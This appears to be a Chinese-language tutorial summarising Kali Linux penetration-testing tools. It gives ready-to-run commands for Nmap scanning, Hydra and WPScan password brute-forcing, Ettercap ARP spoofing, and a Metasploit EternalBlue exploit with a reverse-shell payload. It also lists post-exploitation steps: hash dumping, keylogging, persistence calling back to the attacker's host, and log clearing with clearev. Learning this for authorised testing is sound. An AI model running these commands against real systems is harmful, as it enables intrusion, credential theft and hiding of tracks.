渗透过程中可能要用到的Kali工具小总结
字数 1365 2025-08-26 22:11:51
Kali Linux渗透测试工具全面指南
一、Kali Linux简介
Kali Linux是基于Debian的Linux发行版,专为数字取证和渗透测试设计。由Offensive Security维护,预装了600+安全工具,包括:
- 信息收集工具:Nmap、Wireshark
- 漏洞评估工具:Nessus
- 密码破解工具:Hydra、John the Ripper
- 无线攻击工具:Aircrack-ng
- 漏洞利用框架:Metasploit
- Web应用测试工具:Burp Suite
二、核心工具详解
1. Nmap (网络映射器)
功能特点:
- 主机发现
- 端口扫描(支持6种状态检测)
- 服务/版本识别
- 操作系统检测
- 脚本扫描(NSE脚本)
常用命令:
# 基础扫描
nmap <target_ip>
# 详细扫描
nmap -v -A -T4 <target_ip>
# 指定端口扫描
nmap -p80,443,8080 <target_ip>
# UDP扫描
nmap -sU <target_ip>
# 脚本扫描
nmap --script=<script_name> <target_ip>
高级用法:
# 规避防火墙扫描
nmap -f -D RND:5 <target_ip>
# 输出格式
nmap -oN output.txt -oX output.xml <target_ip>
2. Nessus (漏洞扫描)
使用流程:
- 启动服务:
/etc/init.d/nessusd start - 访问Web界面:https://localhost:8834
- 创建扫描策略(Policy)
- 配置扫描插件
- 创建扫描任务(Scan)
- 分析扫描报告
扫描类型:
- 网络漏洞扫描
- Linux系统专项扫描
- Windows系统专项扫描
- Web应用扫描
3. Hydra (密码破解)
支持协议:
- HTTP/FTP/SMB/SSH/RDP等30+协议
使用示例:
# 基础爆破
hydra -l <username> -P <wordlist> <service>://<target_ip>
# 指定端口
hydra -l admin -P pass.txt ssh://192.168.1.1 -s 2222
# 多线程
hydra -l user -P pass.txt -t 64 ftp://target_ip
4. Ettercap (中间人攻击)
攻击模式:
- ARP欺骗
- DNS欺骗
- SSL剥离
常用命令:
# ARP欺骗攻击
ettercap -T -M arp /target1/ /target2/
# 嗅探HTTP流量
ettercap -T -q -i eth0 //80
# 插件使用
ettercap -T -P <plugin_name> // //
5. WPScan (WordPress扫描)
功能:
- 主题/插件漏洞检测
- 用户枚举
- 密码爆破
使用示例:
# 基础扫描
wpscan --url <target_url>
# 枚举用户
wpscan --url <target_url> --enumerate u
# 密码爆破
wpscan --url <target_url> --wordlist rockyou.txt --username admin
6. Metasploit Framework
模块分类:
- 辅助模块(Auxiliary)
- 漏洞利用模块(Exploit)
- 载荷模块(Payload)
- 编码模块(Encoder)
- 后渗透模块(Post)
使用流程:
- 启动:
msfconsole - 搜索模块:
search <keyword> - 使用模块:
use <module_path> - 配置参数:
set <option> <value> - 执行攻击:
exploit
永恒之蓝攻击示例:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
exploit
后渗透命令:
# 系统信息
sysinfo
# 获取密码哈希
hashdump
# 屏幕截图
screenshot
# 键盘记录
keyscan_start
keyscan_dump
keyscan_stop
# 持久化
run persistence -X -i 5 -p 4444 -r <your_ip>
三、工具组合使用场景
-
内网渗透:
- Nmap扫描 → Nessus漏洞评估 → Metasploit利用
-
Web应用测试:
- WPScan扫描 → Hydra爆破 → Metasploit提权
-
中间人攻击:
- Ettercap ARP欺骗 → Wireshark抓包 → Hydra破解
-
无线渗透:
- Aircrack-ng抓包 → Hashcat破解
四、安全注意事项
- 法律合规:仅对授权目标进行测试
- 操作规范:避免影响业务系统
- 日志清理:测试完成后使用
clearev清除痕迹 - 报告撰写:详细记录发现的问题和修复建议
五、学习资源
- 官方文档:各工具官网和man page
- 实践环境:Metasploitable、DVWA等漏洞环境
- 认证课程:OSCP、CEH等认证培训
- 社区资源:ExploitDB、SecurityFocus等漏洞库
本指南涵盖了Kali Linux中最核心的渗透测试工具,掌握这些工具的组合使用可以应对大多数安全评估场景。建议在合法授权的环境中多加练习,熟练掌握各种工具的特性和适用场景。